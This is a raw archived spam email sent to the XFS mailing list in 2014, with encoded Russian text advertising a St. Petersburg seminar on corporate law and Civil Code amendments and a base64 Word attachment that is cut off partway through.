------=_NextPart_000_05E4_01CF3822.675D6050-- From oktyabrina.moya.77@motorpatrol.com Tue Mar 4 17:56:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 374D07F4E for ; Tue, 4 Mar 2014 17:56:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DA4A1AC001 for ; Tue, 4 Mar 2014 15:56:00 -0800 (PST) X-ASG-Debug-ID: 1393977357-04bdf05dac281680001-NocioJ Received: from hostforever.ru (hostforever.ru [195.211.103.205]) by cuda.sgi.com with ESMTP id ZwP3Bgp79BHhieng for ; Tue, 04 Mar 2014 15:55:58 -0800 (PST) X-Barracuda-Envelope-From: oktyabrina.moya.77@motorpatrol.com X-Barracuda-Apparent-Source-IP: 195.211.103.205 Received: from localhost (localhost [127.0.0.1]) by hostforever.ru (Postfix) with ESMTP id E4EA11D460D; Wed, 5 Mar 2014 03:56:01 +0400 (MSK) X-Virus-Scanned: Debian amavisd-new at mail.hostforever.ru Received: from hostforever.ru ([127.0.0.1]) by localhost (mail.ligrserv.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id pSLn2PfLDGBv; Wed, 5 Mar 2014 03:56:01 +0400 (MSK) Received: from 130.236.159.27.broad.xm.fj.dynamic.163data.com.cn (unknown [27.159.236.130]) (Authenticated sender: info@shahovskoe.ru) by hostforever.ru (Postfix) with ESMTPA id BDE701D4607; Wed, 5 Mar 2014 03:55:55 +0400 (MSK) Message-ID: Reply-To: =?windows-1251?B?w/Dg5uTg7fHq7uUg7/Dg4u4=?= From: =?windows-1251?B?w/Dg5uTg7fHq7uUg7/Dg4u4=?= To: , , , Subject: =?windows-1251?B?4uDw6ODt8vsg/fT05ery6OLt7uPuIOjx7+7r?= =?windows-1251?B?/Ofu4uDt6P8g5ODt7fv1IOLl+eXpLg==?= Date: Wed, 5 Mar 2014 00:56:02 +0100 X-ASG-Orig-Subj: =?windows-1251?B?4uDw6ODt8vsg/fT05ery6OLt7uPuIOjx7+7r?= =?windows-1251?B?/Ofu4uDt6P8g5ODt7fv1IOLl+eXpLg==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_10C0_01CF380D.AE6CA600" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: hostforever.ru[195.211.103.205] X-Barracuda-Start-Time: 1393977357 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.25 X-Barracuda-Spam-Status: No, SCORE=1.25 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3600 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.00 HTML_MESSAGE BODY: HTML included in message 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO This is a multi-part message in MIME format. ------=_NextPart_000_10C0_01CF380D.AE6CA600 Content-Type: multipart/alternative; boundary="----=_NextPart_001_10C1_01CF380D.AE6CA600" ------=_NextPart_001_10C1_01CF380D.AE6CA600 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =E2=E0=F1 =ED=E0 =EA=EE=ED=F1=F3=EB=FC=F2=E0= =F6=E8=EE=ED=ED=FB=E9 =F1=E5=EC=E8=ED=E0=F0 17-18 =EC=E0=F0=F2=E0, =D1=E0= =ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3:=20 "=CA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=EE=E5 =EF=F0=E0=E2=EE. =C8=E7=EC=E5=ED= =E5=ED=E8=FF =C3=F0=E0=E6=E4=E0=ED=F1=EA=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0 =D0= =D4 2014. =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EE=F4=EE=F0=EC=EB=E5=ED=E8=FF= =EF=F0=E0=E2 =ED=E0 =ED=E5=E4=E2=E8=E6=E8=EC=EE=E5 =E8=EC=F3=F9=E5=F1=F2= =E2=EE". =C7=E0=EF=E8=F1=FC =ED=E0 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=FB=E9= =F1=E5=EC=E8=ED=E0=F0 =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3: +7 - =EA=EE= =E4_=CF=E5=F2=E5=F0=E1=F3=F0=E3=E0 - 6=F72 * 5=EE _ 9I =C4=EB=FF =EF=F0=E5=E4=F1=F2=E0=E2=E8=F2=E5=EB=E5=E9 =EA=EE=EC=EF=E0=ED=E8= =E9 =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E3=EE =E1=E8=E7=ED=E5=F1=E0 =E8 =EA= =EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=FB=F5 =FE=F0=E8=F1=F2=EE=E2 =96 =EF=EE=E4=E0= =F0=EE=EA! =D1=F0=E5=E4=E8 =F2=E5=EC: =95 =CD=EE=E2=FB=E5 =EF=F0=E0=E2=E8=EB=E0 =F1=EE=E2=E5=F0=F8=E5=ED=E8=FF = =E8 =EE=E1=E6=E0=EB=EE=E2=E0=ED=E8=FF =F1=E4=E5=EB=EE=EA. =C8=E7=EC=E5=ED= =E5=ED=E8=FF =E2 =E2=E5=F9=ED=EE=EC =EF=F0=E0=E2=E5. =CD=EE=E2=EE=E5 =E2 = =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E8 =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF =EE=E1=FF= =E7=E0=F2=E5=EB=FC=F1=F2=E2 =95 =CF=F0=E0=E2=EE =E7=E0=F1=F2=F0=EE=E9=EA=E8. =CF=F0=E0=E2=EE =F1=EE=E1= =F1=F2=E2=E5=ED=ED=EE=F1=F2=E8. =CE=F2=EA=E0=E7 =EE=F2 =EF=F0=E0=E2=E0 =F5= =EE=E7=FF=E9=F1=F2=E2=E5=ED=ED=EE=E3=EE =E2=E5=E4=E5=ED=E8=FF. =CF=F0=E0=E2= =EE =EE=EF=E5=F0=E0=F2=E8=E2=ED=EE=E3=EE =F3=EF=F0=E0=E2=EB=E5=ED=E8=FF. = =D1=E5=F0=E2=E8=F2=F3=F2=FB. =C2=EB=E0=E4=E5=ED=E8=E5 =E8 =E5=E3=EE =E7=E0= =F9=E8=F2=E0. =CD=EE=E2=E5=EB=EB=FB =E2=E5=F9=ED=FB=F5 =EF=F0=E0=E2 =ED=E0= =EE=E1=FA=E5=EA=F2=FB =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =95 =C8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E8= =E3=F0=E0=E6=E4=E0=ED=F1=EA=E8=F5 =EF=F0=E0=E2=EE=EE=F2=ED=EE=F8=E5=ED=E8= =E9 =E2 =F1=F4=E5=F0=E5 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8 =95 =CA=EB=FE=F7=E5=E2=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =C3=F0=E0=E6=E4=E0= =ED=F1=EA=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0 =D0=D4 =E2 2014 =E3. =CD=EE=E2=FB= =E9 =EF=EE=E4=F5=EE=E4 =EA =EE=E1=FA=E5=EA=F2=E0=EC =E3=F0=E0=E6=E4=E0=ED= =F1=EA=E8=F5 =EF=F0=E0=E2. =95 =CF=F0=E8=ED=FF=F2=FB=E5 =E8 =EF=EB=E0=ED=E8=F0=F3=E5=EC=FB=E5 =E8=E7= =EC=E5=ED=E5=ED=E8=FF, =E7=E0=F2=F0=E0=E3=E8=E2=E0=FE=F9=E8=E5 =EA=EE=F0=EF= =EE=F0=E0=F2=E8=E2=ED=FB=E5 =EE=F2=ED=EE=F8=E5=ED=E8=FF =E8 =EA=EE=F0=EF=EE= =F0=E0=F2=E8=E2=ED=EE=E5 =EF=F0=E0=E2=EE. =95 =CF=F0=E8=ED=E8=EC=E0=E5=EC=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =C3=CA = =D0=D4 =C4=EB=FF =E2=F1=E5=F5 =F3=F7=E0=F1=F2=ED=E8=EA=EE=E2 =F1=E5=EC=E8=ED=E0=F0= =E0: - =EE=E1=F3=F7=E5=ED=E8=E5 =EF=EE =EF=F0=EE=E3=F0=E0=EC=EC=E5 =F1=E5=EC=E8= =ED=E0=F0=E0 =F1 =E2=FB=E4=E0=F7=E5=E9 =D1=E5=F0=F2=E8=F4=E8=EA=E0=F2=E0; - =F1=E1=EE=F0=ED=E8=EA =E8=ED=F4=EE=F0=EC=E0=F6=E8=EE=ED=ED=EE-=EC=E5=F2= =EE=E4=E8=F7=E5=F1=EA=E8=F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE=E2; - =FD=EA=F1=EA=F3=F0=F1=E8=EE=ED=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0; - =E5=E6=E5=E4=ED=E5=E2=ED=FB=E5 =EE=E1=E5=E4=FB =E8 =EA=EE=F4=E5-=E1=F0=E5= =E9=EA=E8. ------=_NextPart_001_10C1_01CF380D.AE6CA600 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =E2=E0=F1 =ED=E0 =EA=EE=ED=F1=F3=EB=FC= =F2=E0=F6=E8=EE=ED=ED=FB=E9 =F1=E5=EC=E8=ED=E0=F0 17-18 =EC=E0=F0=F2=E0, = =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3:=20
"=CA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=EE=E5 =EF=F0=E0=E2=EE. =C8=E7=EC=E5= =ED=E5=ED=E8=FF =C3=F0=E0=E6=E4=E0=ED=F1=EA=EE=E3=EE =EA=EE=E4=E5=EA=F1=E0= =D0=D4=20 2014. =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =EE=F4=EE=F0=EC=EB=E5=ED=E8=FF= =EF=F0=E0=E2 =ED=E0 =ED=E5=E4=E2=E8=E6=E8=EC=EE=E5 =E8=EC=F3=F9=E5=F1=F2= =E2=EE".
 
=C7=E0=EF=E8=F1=FC =ED=E0 =EA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED= =FB=E9 =F1=E5=EC=E8=ED=E0=F0 =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3:=20 +7 - =EA=EE=E4_=CF=E5=F2=E5=F0=E1=F3=F0=E3=E0 - 6=F72 * 5=EE= _ 9I
 
=C4=EB=FF =EF=F0=E5=E4=F1=F2=E0=E2=E8=F2=E5=EB=E5=E9 =EA=EE=EC=EF=E0= =ED=E8=E9 =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E3=EE =E1=E8=E7=ED=E5=F1=E0 =E8= =EA=EE=F0=EF=EE=F0=E0=F2=E8=E2=ED=FB=F5 =FE=F0=E8=F1=F2=EE=E2 =96=20 =EF=EE=E4=E0=F0=EE=EA!
 
=D1=F0=E5=E4=E8 =F2=E5=EC:
 
=95 =CD=EE=E2=FB=E5 =EF=F0=E0=E2=E8=EB=E0 =F1=EE=E2=E5=F0=F8=E5= =ED=E8=FF =E8 =EE=E1=E6=E0=EB=EE=E2=E0=ED=E8=FF =F1=E4=E5=EB=EE=EA. =C8=E7= =EC=E5=ED=E5=ED=E8=FF =E2 =E2=E5=F9=ED=EE=EC=20 =EF=F0=E0=E2=E5. =CD=EE=E2=EE=E5 =E2 =EE=E1=E5=F1=EF=E5=F7=E5=ED=E8=E8 =E8= =F1=EF=EE=EB=ED=E5=ED=E8=FF =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2
=95&n= bsp;=CF=F0=E0=E2=EE =E7=E0=F1=F2=F0=EE=E9=EA=E8.=20 =CF=F0=E0=E2=EE =F1=EE=E1=F1=F2=E2=E5=ED=ED=EE=F1=F2=E8. =CE=F2=EA=E0=E7 = =EE=F2 =EF=F0=E0=E2=E0 =F5=EE=E7=FF=E9=F1=F2=E2=E5=ED=ED=EE=E3=EE =E2=E5=E4= =E5=ED=E8=FF. =CF=F0=E0=E2=EE =EE=EF=E5=F0=E0=F2=E8=E2=ED=EE=E3=EE=20 =F3=EF=F0=E0=E2=EB=E5=ED=E8=FF. =D1=E5=F0=E2=E8=F2=F3=F2=FB. =C2=EB=E0=E4= =E5=ED=E8=E5 =E8 =E5=E3=EE =E7=E0=F9=E8=F2=E0. =CD=EE=E2=E5=EB=EB=FB =E2=E5= =F9=ED=FB=F5 =EF=F0=E0=E2 =ED=E0 =EE=E1=FA=E5=EA=F2=FB=20 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8
=95 =C8=E7=EC=E5=ED=E5=ED=E8= =FF =E2 =F0=E5=E3=F3=EB=E8=F0=EE=E2=E0=ED=E8=E8 =E3=F0=E0=E6=E4=E0=ED=F1=EA= =E8=F5 =EF=F0=E0=E2=EE=EE=F2=ED=EE=F8=E5=ED=E8=E9 =E2=20 =F1=F4=E5=F0=E5 =ED=E5=E4=E2=E8=E6=E8=EC=EE=F1=F2=E8
=95 =CA=EB=FE= =F7=E5=E2=FB=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =C3=F0=E0=E6=E4=E0=ED=F1=EA=EE= =E3=EE =EA=EE=E4=E5=EA=F1=E0 =D0=D4 =E2 2014=20 =E3. =CD=EE=E2=FB=E9 =EF=EE=E4=F5=EE=E4 =EA =EE=E1=FA=E5=EA=F2=E0=EC =E3=F0= =E0=E6=E4=E0=ED=F1=EA=E8=F5 =EF=F0=E0=E2.
=95 =CF=F0=E8=ED=FF=F2=FB= =E5 =E8 =EF=EB=E0=ED=E8=F0=F3=E5=EC=FB=E5=20 =E8=E7=EC=E5=ED=E5=ED=E8=FF, =E7=E0=F2=F0=E0=E3=E8=E2=E0=FE=F9=E8=E5 =EA=EE= =F0=EF=EE=F0=E0=F2=E8=E2=ED=FB=E5 =EE=F2=ED=EE=F8=E5=ED=E8=FF =E8 =EA=EE=F0= =EF=EE=F0=E0=F2=E8=E2=ED=EE=E5=20 =EF=F0=E0=E2=EE.
=95 =CF=F0=E8=ED=E8=EC=E0=E5=EC=FB=E5 =E8=E7=EC=E5= =ED=E5=ED=E8=FF =C3=CA =D0=D4
 
=C4=EB=FF =E2=F1=E5=F5 =F3=F7=E0=F1=F2=ED=E8=EA=EE=E2 =F1=E5=EC=E8=ED= =E0=F0=E0:
- =EE=E1=F3=F7=E5=ED=E8=E5 =EF=EE =EF=F0=EE=E3=F0=E0=EC=EC=E5= =F1=E5=EC=E8=ED=E0=F0=E0 =F1 =E2=FB=E4=E0=F7=E5=E9=20 =D1=E5=F0=F2=E8=F4=E8=EA=E0=F2=E0;
- =F1=E1=EE=F0=ED=E8=EA =E8=ED=F4=EE= =F0=EC=E0=F6=E8=EE=ED=ED=EE-=EC=E5=F2=EE=E4=E8=F7=E5=F1=EA=E8=F5 =EC=E0=F2= =E5=F0=E8=E0=EB=EE=E2;
-=20 =FD=EA=F1=EA=F3=F0=F1=E8=EE=ED=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0;
-= =E5=E6=E5=E4=ED=E5=E2=ED=FB=E5 =EE=E1=E5=E4=FB =E8=20 =EA=EE=F4=E5-=E1=F0=E5=E9=EA=E8.
------=_NextPart_001_10C1_01CF380D.AE6CA600-- ------=_NextPart_000_10C0_01CF380D.AE6CA600 Content-Type: application/octet-stream; name="2014__GK.docx" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="2014__GK.docx" UEsDBBQABgAIAAAAIQBruNnWrQEAAJsHAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 lU1P4zAQhu9I/IfI11Xisge0Qk05AHtckLarPbv2pLWIP+SZAv33TJo2AtTi8tFLpGQ87/t47MyM L59cWzxAQht8Lc6qkSjA62Csn9fi3/R3+UsUSMob1QYPtVgBisvJ6cl4uoqABWd7rMWCKF5IiXoB TmEVIniONCE5Rfya5jIqfa/mIH+ORudSB0/gqaROQ0zG19CoZUvFzRN/7kkStCiKq35h51ULFWNr tSImlQ/evHEpNw4VZ67X4MJG/MEYQu506CL7DTZ5t1yaZA0UdyrRH+UYQz6GZKQJeul4D9X7Mjs4 Q9NYDUN+pxZT0IDINXdtNUScsn7Lv5fDL90MEmd+P8ggnYVAWrWA30/Q6x5o/9/S4qZpQPONyx+K w7KrfNVbvMjNuwER1/sQk9f/QZk7edwoZxEeYfb3aBQvxLMgTQjkAx3j7AfpLAR4cySGrXIWoYOF dHbAvfvgleiFD/D3NFWzFo5BsJHOQhA3f5Dr59crsZZ5z5Lb5F0KEXmYpE9sezstuuyS+2+ERBaG ebGr3w6OPIi+XGfoRp0Bs8Nbrkfr5BkAAP//AwBQSwMEFAAGAAgAAAAhAB6RGrfzAAAATgIAAAsA CAJfcmVscy8ucmVscyCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMkttKA0EMhu8F32HIfTfbCiLS2d5IoXci6wOEmewBdw7MpNq+ vaMgulDbXub058tP1puDm9Q7pzwGr2FZ1aDYm2BH32t4bbeLB1BZyFuagmcNR86waW5v1i88kZSh PIwxq6Lis4ZBJD4iZjOwo1yFyL5UupAcSQlTj5HMG/WMq7q+x/RXA5qZptpZDWln70C1x1g2X9YO XTcafgpm79jLiRXIB2Fv2S5iKmxJxnKNain1LBpsMM8lnZFirAo24Gmi1fVE/1+LjoUsCaEJic/z fHWcA1peD3TZonnHrzsfIVksFn17+0ODsy9oPgEAAP//AwBQSwMEFAAGAAgAAAAhAEg23qNbAQAA xwUAABwACAF3b3JkL19yZWxzL2RvY3VtZW50LnhtbC5yZWxzIKIEASigAAEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAArJTLTsMwEEX3SPxD5D1xU6A81LQbQOoWili7zjiJiD2RPQX697it2qYv d+NNpLlW5h5fjz0c/+km+QHrajQ5y9IeS8BILGpT5uxz+nbzyBJHwhSiQQM5W4Bj49H11fAdGkH+ J1fVrUt8F+NyVhG1z5w7WYEWLsUWjF9RaLUgX9qSt0J+ixJ4v9cbcNvtwUZ7PZNJkTM7Kbz/dNF6 58u9UalawgvKuQZDJyy4QiSwvqOwJVDO1nWWekjGT/vfnvHXtbToUFEqUfO19dLyYX9X3NGiAfdV U/WqFEhyO/ejpRDHwxmOExlfzgFMYXwSHZaNEkLox0RYb/4wjJB9FtPezPUMrJ/yHcFWCkEMYkIs x+/gHLZSCOI+JsQvzD6AyEfRGYeOGALJ/HMR73aSfzVgdx6rkq++wRt6F5PBHUWxUUI5PMVEUGho KmZNJ4qttIHge8/v6B8AAP//AwBQSwMEFAAGAAgAAAAhAKpbDShSHwAARn8CABEAAAB3b3JkL2Rv Y3VtZW50LnhtbOxdX2/b1hV/H7DvYOhpAxZbVowkM2oVSZ0UBbohcNrngZapRAslCiRlN31K47Rd 1ix5yB6GAuufYR/AdexGTWL3K5BfYZ9kv3NIyqRERZRE8V5S9yG2I/HPveece+85v/Pvvfc/axsr +7plt8zOVmV9tVpZ0TsNc6/VubtV+fSTW5euVVZsR+vsaYbZ0bcqD3S78n79t79572Bzz2z02nrH WcEjOvbmQbexVbnnON3NtTW7cU9va/Zqu9WwTNtsOqsNs71mNputhr52YFp7a7XqepX/6lpmQ7dt vO8DrbOv2ZXgce3Rp5ldvYN3NU2rrTn2qmndXWtr1v1e9xKe3tWc1m7LaDkP8OzqlfAx5lalZ3U2 gwFdGgyIbtn0BxT8Cu+wRmaR8F7/zu2AAvzGNUs3MAazY99rdS+mMevTMMV74ZD23zWJ/bYRXnfQ Xd8Yed9gyml4sG1pB2DFxQNHHpdAjD3/prbh04H4e8HV4SeuV981mYAj9IjBGNIMIf7OcCRtrdUZ PGY20kSJixUxj3x/aJm97mA43dZ8T/uoc3/wLFqYU4yseoVXXnRq9lQPGFm6d+5pXb2y0m5sfnS3 Y1raroERHaxvrJBEVurYLHbNvQf0u7tysInNZm9nq1KtXqte3r5aq4Qf3cbSq1ZvbtfWa1i/wXXb elPrGc7o5bfpoxtXN2q1y/yG7m2LXmB3tQYkGLdrTUenJ9KjjBbRqLYx+M9Oj4ao9Ryzska3Wf7d 1i2z49h0s91ogUM3NOx9WA4Hm7pmO9ftlhb97N71jh27qAE6XrdamkEPXQueit88Nvq9ZCQA35m6 PRBwXzO2KrTPG3oSdUAsXMSiEZODbJnzSaut2yt/1g9Wdsy21vF5P3GMB5tO3f3RPXXfun33zD3y HhJzHZ/F/HPZGLsI2Y4vfOmXN7aaz0OxvlzzJcn+/APaPFjU/c+GCSVQzKcZLkv8t+6599D9lX8e eY8g+8eQ/nP3NCb9+cxosKtOR3bMg/RJPhWw33ct3datfb1SXxEwh8TNZ2qu/AqeHIET5wJmkDUX VovLhu+8L7AUfsKhcEaLwvuCFkgJWFJcjpx7j3mreuu+Ya70veeKH1F1NbUKm+lGpXggkAdQVhX9 hdL/1D3BYd13f8a/t0p5mtmszmZPAg+8Q++Je8rndYISlYO5Oa3GtypgBWdB7SkV71GEZydvIGBa zrj/cl9hUZMKONYmomnd2rjyx/VbA0hL+mmdue/QnfKdUNYWx1j1Nt9pZbG+6u4LNgV/xglz5J7B HnmN8+XleMMw3ykqziUjQQytEKdOsHG8BtfGamiKXxnA8dmstB/c/447hQvOJThiN4anlq0SNPtG UB9WfXZN8z65fO84muVgebX2QH06VztaG/DeXz40b2iN+wGqH1x7s7M3uNL3yiiwPsERFUff46oX 6MeOmYgvLn45g/XBR+zi8r1p3TvOA0PH3QyIaxs+Yzq9tv91y9g3wi+rg+8+InbxDdfoMwDogxsc bdemx+N3eE3D0DWLJKBrwvd2tRY8J3IF7h58z9+S6yZ40IzOwhaLlKE3yS1JD2+2LNv5mH2MwQD+ 2ghHuGvCkc9esAX4GEMH2+4HNr/CgLcSL75AeqzepZ1PAzry+zH7wFNq4UKB/rb0Q+YTM6JqQ91+ h366QO06spPtMrmnmsOU9tAC55F4Js4wo7p7PHx05CBTigv+thhsJ04dVsCp+9I7BO7dx9/nwJtg DwBvEuyPmEGiyrhGXo5YaX3vS7VuskUCZ5C1ujtwpcJv9Ii9eH/zPUfuL4o/EvBHnS6zh6FldsYD KX8MvBxnjFoTEqwJQM1xj5IMkQez7L6bMXEis4Qtx1CBJFglbmRmY5POaPLlZs8VwoKbPEi22b5n zSfByxYyeYE2TsRKSDVayTXPVHOo+zFJgW9TosikVKMvBQegRY7F85W0J4TLJ+opqeSlDucrhWSf um+8p/B/fSNaQ0k16lJIOWIovkYYPMU8vhaNMsxBdXnCT1NNgnIQEGhKCiB+gvBK4Al8vwC7L7J1 EjNz5tlqQqiguJt74YRdaY+zpJ/NJeS0vWBPP/eeQ4+hVI93RJMobWYh2gzFrh8DyT/i+JBRT5cy lDm5EimdRXB1Th6kMpSzBdVSUvyVr76yu+yXQiuxYyMaF7hBz3PIxIw2dcRMnV8+B+1jZltck1XH ijpWFlMGIc1JjUOwFLgIe5T72NR+In8ZNGnCYIXHKqU6EktBf+9rRMH8DPoL9t8vD8Uh30P+SEX7 3ECpY+wxTxT+Ol19njn0J1dBUnlDUr6IExSltvS8sO5juNKQUgYXj+AA0iU6RhWlc5JuUszhLH5U YDe98uRM4fRbyjggHJe/csxmtGyX8uXkpijCCg0dxpLUIlqio3TEIiWfpvfUe6YCTnkBxIqUpkHn JEgZTCW+dWWfZVfqKB3FVcApcmjnrxk8DyahAk5zO9YRcMqlVhSkP2VN7HnkW1nGeVnGVNAUFX/Z hVJ0x9UfihYWobbx/LZxlLSmvAGqA1hw/6wS8+l6MqQxd0oTjEBhCH+HiL/2HsVM39wrtqeyJUoR gMDucMQWIoQXKdOeX05ABVJP30VlDo2R4R4qg9LnABwkh3FQO4qiFHYVFBLxH4mDUulKuUWGhOhz cUW+YPq7AsIUELY8ag6k/Yir2aO2Q5B9fTjkX1FK5kDpyT4Z1c/TC5NXvMOYYqNC+UsYyv9PLDSC Ld4wYEGB5aroQd6xiEFYf1jxv+DQUcEULLasY61U2KorrndgyKZTu3YJd+0XfFAfcjTtwwCFIMgZ YL/o5mRLpKxyeVygQRQGhN6J3lfKf5uj/zaAImIqqjIOFmccKEdifo7EMaGGBZD1odYauWkfQy0h Lle4jv6gw4NMLSF29aZpoasId3jw/3Md/eKDAqLB59Em8/z30CU8PXn7RVx0PKsltLD2P4Ns5Nk5 wm+s4P8MulpMM0qup/IfduxTg6UzOu1F5zHFy+NOORsJ/KJZsKR/0SqPDGfR6XyKJXW0jKBO4qnb xy2wnkwkSUcxhuqaHnEvPwocoETMAO6Tw429AAYNQSELtg6y2M2+Q+f3VxQsKVbVWwAvcoUFs2BF dLGQrXnuRzzht1TtIzI59fMN98uCO+dqgcyTH5IFC44JOofHlmNdlSqM02WOhJ0sGKJU4e3aeu1K JaM2o1mwpHxHReHO8RPOPHkpvqq5Uqqoo+ARJ7tRmME36ggXfWK8cL9VTBDNhHf0AC8ANCIX4H/R hSs7lD23Fl2zHxDkZqHe16LcLXN34L7gW9TxYXDn69oGe0roPzs9A44TDd6SCmtn8jhAcnZmIHWX ym0kZrNExSgcFnsvvsWh+wzV19AIQHxTozGjlMArMRNth2wv0VE4JaPuC9k9CpF1VlQJfs1OAcrq RBC+PFphCSgrlYJXAnpKBKpMpmatur6RK2Yy0/H1skALPl+v3kzk/Dd5iaBjCa4tXDItgPJUTrwv 